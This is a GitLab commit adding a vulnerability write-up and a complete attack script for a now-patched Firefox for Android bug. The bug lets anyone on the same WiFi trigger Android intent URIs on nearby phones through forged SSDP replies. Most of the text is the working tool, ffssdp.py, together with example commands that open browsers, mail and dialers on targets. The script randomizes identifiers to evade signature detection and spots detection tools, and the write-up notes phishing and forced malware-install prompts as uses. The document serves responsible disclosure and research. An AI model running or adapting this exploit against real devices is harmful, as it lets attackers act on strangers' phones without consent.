Verified Commit 330e95ae authored by Chris Moberly's avatar Chris Moberly
Browse files

added firefox bug

parent b385fe41
......@@ -11,6 +11,7 @@ At GitLab one of our six [core values](https://about.gitlab.com/handbook/values/
* [The Mechanics of Modern Thievery (Part 1 of 2)](./mechanics-of-modern-thievery/part-1.md)
* [Privilege Escalation in Google Cloud Platform's OS Login](/oslogin-privesc-june-2020/)
* [K8s-GKE Attack Notes](/K8s-GKE-attack-notes/)
* [Firefox for Android LAN-Based Intent Triggering](/firefox-android-2020/)
### Talks
......
# Firefox for Android LAN-Based Intent Triggering
*Exploit research and development by Chris Moberly (Twitter: [@init_string](https://twitter.com/init_string))*
## Overview
The SSDP engine in Firefox for Android (68.11.0 and below) can be tricked into triggering Android intent URIs with zero user interaction. This attack can be leveraged by attackers on the same WiFi network and manifests as applications on the target device suddenly launching, without the users' permission, and conducting activities allowed by the intent.
The target simply has to have the Firefox application running on their phone. They do not need to access any malicious websites or click any malicious links. No attacker-in-the-middle or malicious app installation is required. They can simply be sipping coffee while on a cafe's WiFi, and their device will start launching application URIs under the attacker's control.
I discovered this bug while the newest version of Firefox Mobile v79 was being rolled out globally. Google Play Store was still serving a vulnerable version at this time, but only for a short period. I reported the issue directly to Mozilla, just to be safe. They responded right away and were quite pleasant to work with, providing some good info on where exactly this bug came from. They were able to confirm that the vulnerable functionality was not included in the newest version and opened some issues to ensure that the offending code was not re-introduced at a later time.
If you find a Firefox bug, I definitely recommend sending it straight to them. The process is very easy, the team members are smart and friendly, and it's a good way to support a project that has helped shape the way we use the web.
As long as you have app updates enabled and have recently connected to WiFi, you should have received the new version and are safe from exploitation. You can verify this yourself by opening Firefox on your device, clicking the three dots next to the address bar, and navigating to "Settings -> About Firefox". If your version is 79 or above, you are safe.
This write-up is specifically about the Android mobile application - the desktop application does not have this vulnerability.
![Video Demo (click lower-right to expand)](poc.mp4)
## Technical Details
The vulnerable Firefox version periodically sends out SSDP discovery messages, looking for second-screen devices to cast to (such as the Roku). These messages are sent via UDP multicast to 239.255.255.250, meaning any device on the same network can see them. If you run Wireshark on your LAN, you will probably see something on your network doing the same. A discovery message from Firefox looks like this:
```
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: roku:ecp
Man: "ssdp:discover"
MX: 3
```
Any device on the local network can respond to these broadcasts and provide a location to obtain detailed information on a UPnP device. Firefox will then attempt to access that location, expecting to find an XML file conforming to the UPnP specifications.
This is where the vulnerability comes in. Instead of providing the location of an XML file describing a UPnP device, an attacker can run a malicious SSDP server that responds with a specially crafted message pointing to an [Android intent URI](https://developer.android.com/training/basics/intents/sending). Then, that intent will be invoked by the Firefox application itself.
For example, responding with a message like the following would force any Android phones on the local network with Firefox running to suddenly launch a browser to `http://example.com`:
```
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: roku:ecp
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
```
## Proof of Concept
If you'd like to play around with the bug yourself, you can grab an older version of Firefox for Android [here](https://archive.mozilla.org/pub/mobile/releases/68.11.0/).
I've spent a bit of time developing attack POCs for SSDP vulnerabilities in other applications, using a tool I wrote called [evil-ssdp](https://github.com/initstring/evil-ssdp). I created a modified version of that tool specifically to demonstrate this Firefox vulnerability. It's attached to this repository as [ffssdp.py](ffssdp.py).
We'll start with forcing all phones on the LAN to pop up a web browser to http://example.com.
First, just open Firefox on your Android device and let it sit there.
Next, run the exploit on a Linux laptop that is connected to the same wireless network as your Android device. The Android emulator will work, as well. Disable the firewall on your laptop while testing, or at least permit UDP broadcasts to be received.
```
# Replace "wlan0" with the wireless device on your attacking machine.
python3 ./ffssdp.py wlan0 -t "intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end"
```
Firefox on the mobile device should go to http://example.com within a few seconds, and you'll see some logging in the attack tool as well.
Another example is to call other applications. Running the attack tool like this will pop the mail application with arbitrary text. Pretty scary to have happen on your device when you're just minding your own business:
```
# Replace "wlan0" with the wireless device on your attacking machine.
python3 ./ffssdp.py wlps0 -t "mailto:itpeeps@work.com?subject=I've%20been%20hacked&body=OH%20NOES!!!"
```
And one more, just for testing purposes. This will just pop the dialer:
```
# Replace "wlan0" with the wireless device on your attacking machine.
python3 ./ffssdp.py wlan0 -t "tel://1337h825012"
```
## Impact
This is not some super fancy memory-corruption bug that can be invoked from across the planet. It's a pretty straight-forward logic bug that basically allows you to magically click links on other peoples' phones who are in the same building as you.
The vulnerability resembles RCE (remote command execution) in that a remote (on same WiFi network) attacker can trigger the device to perform unauthorized functions with zero interaction from the end user. However, that execution is not totally arbitrary in that it can only call predefined application intents.
Had it been used in the wild, it could have targeted known-vulnerable intents in other applications. Or, it could have been used in a way similar to phishing attacks where a malicious site is forced onto the target without their knowledge in the hopes they would enter some sensitive info or agree to install a malicious application.
The POC code is persistent, in that it will trigger the intent over and over until stopped. This increases the chances of someone agreeing to install a malicious package as the prompt will pop up over and over until the attacker stops running the tool.
With mobile apps, it is possible that many people remain on outdated versions for an extended period of time. This is due to the default setting of applications updating only when connected to WiFi, and the fact that some may only rarely (or never) connect to a WiFi network. Fortunately, this bug is exploitable only over WiFi, so those that cannot connect to update can also not be targeted.
As a final thought, this most definitely could have been an epic rick roll, where everyone in the room running Firefox tried to figure out what the heck was going on.
Thanks for reading!
\ No newline at end of file
#!/usr/bin/env python3
"""
Modified version of evil-ssdp designed to target Firefox for Android
versions 68.11.0 and lower.
evil-ssdp does a lot more, which is why some of this code may seem extra or
overkill. Sorry about that. :)
@init_string on Twitter
"""
from multiprocessing import Process
from email.utils import formatdate
import sys
import os
import re
import argparse
import socket
import struct
import signal
import random
import time
BANNER = r'''
_____ _____ .___
_/ ____\/ ____\______ ______ __| _/_____
\ __\\ __\/ ___// ___// __ |\____ \
| | | | \___ \ \___ \/ /_/ || |_> >
|__| |__| /____ >____ >____ || __/
\/ \/ \/|__|
...by initstring
'''
print(BANNER)
if sys.version_info < (3, 0):
print("\nSorry mate, you'll need to use Python 3+ on this one...\n")
sys.exit(1)
class PC:
"""PC (Print Color)
Used to generate some colorful, relevant, nicely formatted status messages.
"""
green = '\033[92m'
blue = '\033[94m'
orange = '\033[93m'
red = '\033[91m'
endc = '\033[0m'
ok_box = blue + '[*] ' + endc
note_box = green + '[+] ' + endc
warn_box = orange + '[!] ' + endc
msearch_box = blue + '[M-SEARCH] ' + endc
xml_box = green + '[XML REQUEST] ' + endc
detect_box = orange + '[OTHER] ' + endc
class SSDPListener:
"""UDP multicast listener for SSDP queries
This class object will bind to the SSDP-spec defined multicast address and
port. We can then receive data from this object, which will be capturing
the UDP multicast traffic on a local network.
"""
def __init__(self, local_ip, args):
self.sock = None
self.known_hosts = []
self.local_ip = local_ip
self.target = args.target
self.analyze_mode = args.analyze
ssdp_port = 1900 # Defined by SSDP spec, do not change
mcast_group = '239.255.255.250' # Defined by SSDP spec, do not change
server_address = ('', ssdp_port)
# The re below can help us identify obviously false requests
# from detection tools.
self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$')
# Generating a new unique USD/UUID may help prevent signature-like
# detection tools.
self.session_usn = ('uuid:'
+ self.gen_random(8) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(4) + '-'
+ self.gen_random(12))
# Create the socket
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Bind to the server address
self.sock.bind(server_address)
# Tell the operating system to add the socket to
# the multicast group on for the interface on the specific IP.
group = socket.inet_aton(mcast_group)
mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip))
self.sock.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
mreq)
@staticmethod
def gen_random(length):
"""Generates random hex strings"""
chars = 'abcdef'
digits = '0123456789'
value = ''.join(random.choices(chars + digits, k=length))
return value
def send_location(self, address, requested_st):
"""
This function replies back to clients letting them know where they can
access more information about our device. The keys here are the
'LOCATION' header and the 'ST' header.
When a client receives this information back on the port they
initiated a discover from, they will go to that location to look for an
XML file.
"""
url = self.target
date_format = formatdate(timeval=None, localtime=False, usegmt=True)
ssdp_reply = ('HTTP/1.1 200 OK\r\n'
'CACHE-CONTROL: max-age=1800\r\n'
'DATE: {}\r\n'
'EXT:\r\n'
'LOCATION: {}\r\n'
'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n'
'01-NLS: {}\r\n'
'SERVER: UPnP/1.0\r\n'
'ST: {}\r\n'
'USN: {}::{}\r\n'
'BOOTID.UPNP.ORG: 0\r\n'
'CONFIGID.UPNP.ORG: 1\r\n'
'\r\n\r\n'
.format(date_format,
url,
self.session_usn,
requested_st,
self.session_usn,
requested_st))
ssdp_reply = bytes(ssdp_reply, 'utf-8')
self.sock.sendto(ssdp_reply, address)
def process_data(self, data, address):
"""
This function parses the raw data received on the SSDPListener class
object. If the M-SEARCH header is found, it will look for the specific
'Service Type' (ST) being requested and call the function to reply
back, telling the client that we have the device type they are looking
for.
The function will log the first time a client does a specific type of
M-SEARCH - after that it will be silent. This keeps the output more
readable, as clients can get chatty.
"""
remote_ip = address[0]
header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data))
if 'M-SEARCH' in str(data) and header_st:
requested_st = header_st[0].strip()
if re.match(self.valid_st, requested_st):
if (address[0], requested_st) not in self.known_hosts:
print(PC.msearch_box + "New Host {}, Service Type: {}"
.format(remote_ip, requested_st))
self.known_hosts.append((address[0], requested_st))
if not self.analyze_mode:
self.send_location(address, requested_st)
else:
print(PC.detect_box + "Odd ST ({}) from {}. Possible"
"detection tool!".format(requested_st, remote_ip))
def process_args():
"""Handles user-passed parameters"""
parser = argparse.ArgumentParser()
parser.add_argument('interface', type=str, action='store',
help='Network interface to listen on.')
parser.add_argument('-t', '--target', type=str, default='tel://101',
help='Intent URI to triger. Default: tel://101')
parser.add_argument("-a", "--analyze", action="store_true", default=False,
help='Run in analyze mode')
args = parser.parse_args()
# The following two lines help to avoid command injection in bash.
# Pretty damn unlikely scenario for this tool, but who knows.
char_whitelist = re.compile('[^a-zA-Z0-9 ._-]')
args.interface = char_whitelist.sub('', args.interface)
return args
def get_ip(args):
"""
This function will attempt to automatically get the IP address of the
provided interface.
"""
ip_regex = r'inet (?:addr:)?(.*?) '
sys_ifconfig = os.popen('ifconfig ' + args.interface).read()
local_ip = re.findall(ip_regex, sys_ifconfig)
try:
return local_ip[0]
except IndexError:
print(PC.warn_box + "Could not get network interface info. "
"Please check and try again.")
sys.exit()
def print_details(args):
"""
Prints a banner at runtime, informing the user of relevant details.
"""
print("\n\n")
print("########################################")
print(PC.ok_box + "MSEARCH LISTENER: {}".format(args.interface))
print(PC.ok_box + "INTENT: {}".format(args.target))
if args.analyze:
print(PC.warn_box + "ANALYZE MODE: ENABLED")
print("########################################")
print("\n\n")
def listen_msearch(listener):
"""
Starts the listener object, receiving and processing UDP multicasts.
"""
while True:
data, address = listener.sock.recvfrom(1024)
listener.process_data(data, address)
def main():
"""Main program function
Uses Process to multi-thread the SSDP server (evil-ssdp also had a web
server, hence the setup).
"""
args = process_args()
local_ip = get_ip(args)
listener = SSDPListener(local_ip, args)
ssdp_server = Process(target=listen_msearch, args=(listener,))
print_details(args)
time.sleep(1.5)
try:
ssdp_server.start()
signal.pause()
except (KeyboardInterrupt, SystemExit):
print("\n" + PC.warn_box +
"Thanks for playing! Stopping threads and exiting...\n")
ssdp_server.terminate()
sys.exit()
if __name__ == "__main__":
main()
Markdown is supported
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment